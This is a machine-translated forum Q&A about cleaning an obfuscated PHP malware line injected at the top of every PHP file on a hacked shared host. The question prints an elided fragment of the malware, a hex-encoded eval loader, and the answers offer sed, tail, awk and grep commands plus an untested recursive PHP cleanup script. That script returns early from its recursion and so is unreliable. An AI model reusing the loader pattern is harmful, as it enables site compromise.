2014-07-22 109 views
-1

我在我的共享主機中被黑客入侵。所有的php文件在目錄中都有這種代碼。我敢打賭,我有老WordPress安裝,已經把一些惡意軟件int網頁目錄。當我沒有移除那些東西時,對我感到羞恥。現在我有2個有惡意軟件的活動網站,我沒有備份。所有惡意軟件文件都在第一行<?php ........ ?>現在我需要刪除它。我試過Remove the first line with sed with a regular expression但它沒有幫助。它沒有刪除任何東西。sed從php第一行中刪除

<?php $xmrcycpmjf= 6767~6<Cw6<pd%x5c%x7825w6Z6<.57825mm)%x5c%x7825%x5c%x7878:-.........!%x5c%x7825tzw%x5x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5c25h>#]y31]278]y35\141\x70\146\x66\153\x74\154\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\63\x34\55\x31\71\x37\51\x29\54\x20\143\x68\162\x28\50\x35\65\x35\55\x34\66\x33\51\x29\54\x20\171\x79\166\x6f\151\x6b\157\x68\157\x68\50\x24\143\x6d\142\x78\170\x61\153\x63\144\x6e\54\x24\170\x6d\162\x63\171\x63\160\x6d\152\x66\51\x29\51\x3b\40\x2f\52\x20\157\x73\144\x6f\167\x6d\150\x72\145\x7a\40\x2a\57\x20"; $vmdcgfyvud=substr($xmrcycpmjf,(39882-29769),(52-40)); $vmdcgfyvud($efppuciabz, $ucpqtjetra, NULL);...... $vmdcgfyvud=$ucpqtjetra; $vmdcgfyvud=(409-288); $xmrcycpmjf=$vmdcgfyvud-1; ?><?php echo "test"?> 

,我希望它看起來像這樣

<?php echo "test"?> 
+0

是下一行的真實碼嗎? –

+0

嘗試'sed'1s /^.*$/ <?php echo「test」?>/g'file' –

回答

0

就試試這個簡單的sed命令,

sed '1s/.*\(<.*\)$/\1/g' file 

OR

sed '1s/.*</</g' file 
+0

謝謝你的幫助。真棒幫助傢伙...我沒有收到任何電子郵件通知。會有更快的答案。 [的n00b] – user3864093

0

而不是使用sed的,你可以使用tail

tail -n +2 file > output 
mv output file 

tail簡單地忽略第一線和其他線路都只是迴應。


或者你可以使用類似grep-v標誌忽略該行:

grep -v -F '<?php $xmrcycpmjf= 6767~6<Cw6<pd%x5c%x7825w6Z6<.57825mm)%x5c%x782...' < file 
0

請問這怎麼辦?

awk -F"<" '{print FS$NF}' file 
<?php echo "test"?> 
+0

如果您不確定某個答案是否符合OP的需求,請首先通過詢問相應的評論來明確他的需求。答案並不意味着包括*任何*問題,這是*答案*和*問題*之間的主要區別。 – vaxquis

0

在假設惡意軟件總是包含在第一(!)PHP代碼塊,你可以使用這個表達式

^(<\?php)(.*?)(\?>) 

要重新移動第一個PHP Block以遞歸方式遍歷每個文件並將第一個匹配替換爲空字符串。

例如用PHP

<?php 
//Save as clean.php 
function cleanup($dir) { 
$dirh = opendir($dir); 

if ($dirh) { 
    while (($file = readdir($dirh)) !== false) { 
     $file_path = $dir . "/" . $file; 

     if(is_file($file_path)){ 
      $info = pathinfo($file_path); 

      if($info['extension'] === "php" && $info['basename'] != "clean.php"){ 
       file_put_contents($file_path, preg_replace('/^(<\?php)(.*?)(\?>)/', '', file_get_contents($file_path), 1)); 
      } 
     } else if(is_dir($file_path)){ 
      return cleanup($file_path); 
     } 

    } 

    closedir($dirh); 
} 
} 
cleanup('web'); //Pass the name of infected dir 

此代碼是沒有測試!

記得備份一切!